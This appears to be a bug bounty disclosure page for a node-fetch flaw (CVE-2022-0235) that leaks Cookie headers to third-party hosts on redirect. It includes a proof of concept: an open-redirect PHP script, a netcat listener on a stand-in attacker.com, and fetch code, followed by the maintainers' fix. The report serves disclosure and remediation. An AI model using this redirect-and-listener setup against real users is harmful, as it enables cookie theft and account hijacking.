Exposure of Sensitive Information to an Unauthorized Actor in node-fetch/node-fetch

2

Valid Reported on Jan 5th 2022

BUG

Cookie header leaked to third party site and it allow to hijack victim account

SUMMURY

When fetching a remote url with Cookie if it get `Location` response header then it will follow that url and try to fetch that url with provided cookie . So cookie is leaked here to thirdparty.
Ex: you try to fetch `example.com` with cookie and if it get redirect url to `attacker.com` then it fetch that redirect url with provided cookie .
So, Cookie of `example.com` is leaked to `attacker.com` .
Cookie is standard way to authentication into webapp and you should not leak to other site .
All browser follow same-origin-policy so that when redirect happen browser does not send cookie of `example.com` to `attacker.com` .

FLOW

if you fetch http://mysite.com/redirect.php?url=http://attacker.com:8182/ then it will redirect to http://attacker.com:8182/ .
First setup a webserver and a netcat listner

http://mysite.com/redirect.php?url=http://attacker.com:8182/

```
//redirect.php
<?php
$url=$_GET["url"];
header("Location: $url");

/* Make sure that code below does not get executed when we
exit;
```

```
?>
```

netcat listner in http://attacker.com

```
nc -lnvp 8182
```

STEP TO RERPODUCE

run bellow code

```
import fetch from 'node-fetch';

const body = {a: 1};

const response = await fetch('http://mysite.com/redirect.php?url=http://att
    method: 'post',
    body: JSON.stringify(body),
    headers: {'Cookie': 'asd=ad'}
});
const data = await response.json();

console.log(data);
```

response received in attacker netcat

```
GET /dd HTTP/1.1
Cookie: asd=ad
Content-Type: text/plain;charset=UTF-8
Accept: */*
User-Agent: node-fetch/1.0 (+https://github.com/bitinn/node-fetch)
Accept-Encoding: gzip,deflate
Connection: close
Host: localhost:8182
```


See here in this response cookie is leaked to thirdparty site attacker.com.

So, here i provided cookie for mysite.com but does to redirect it leaks to thirdparty site attacker.com

SUGGESTED FIX

If provided url domain and redirect url domain is same then you can only send cookie/authorization header to redirected url . But if the both domain not same then its a third party site which will be redirected, so you dont need to send Cookie/Authorization header.

CVE
CVE-2022-0235
(Published)

Vulnerability Type
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Severity
High (8.8)

Visibility
Public

Status
Fixed

Found by

ranjit-git
@ranjit-git
amateur

Fixed by

Jimmy Wärting
@jimmywarting
maintainer

This report was seen 5,298 times.

We are processing your report and will contact the **node-fetch** team within

Chat with us

We created a **GitHub Issue** asking the maintainers to create a `SECURITY.md` a year ago

We have opened a **pull request** with a `SECURITY.md` for **node-fetch** to merge. a year ago

We have contacted a member of the **node-fetch** team and are waiting to hear back a year ago

We have sent a follow up to the **node-fetch** team. We will try again in 7 days. 10 months ago

Jimmy Wärting validated this vulnerability 10 months ago

ranjit-git has been awarded the disclosure bounty ✅

The fix bounty is now up for grabs

Jimmy Wärting marked this as fixed in **3.1.1** with commit **36e47e** 10 months ago

Jimmy Wärting has been awarded the fix bounty ✅

This vulnerability will not receive a CVE ❌

Joe 10 months ago

Hi, can you explain to me how this version bump fixes the issue?

drcatdoctor 10 months ago

@boctorj
The actual fix code is here:
https://github.com/node-fetch/node-fetch/pull/1449/files?diff=unified&w=0

```
if (!isDomainOrSubdomain(request.url, locationURL)) {
    for (const name of ['authorization', 'www-authenticate', '
        requestOptions.headers.delete(name);
    }
}
```

Sign in to join this conversation

Chat with us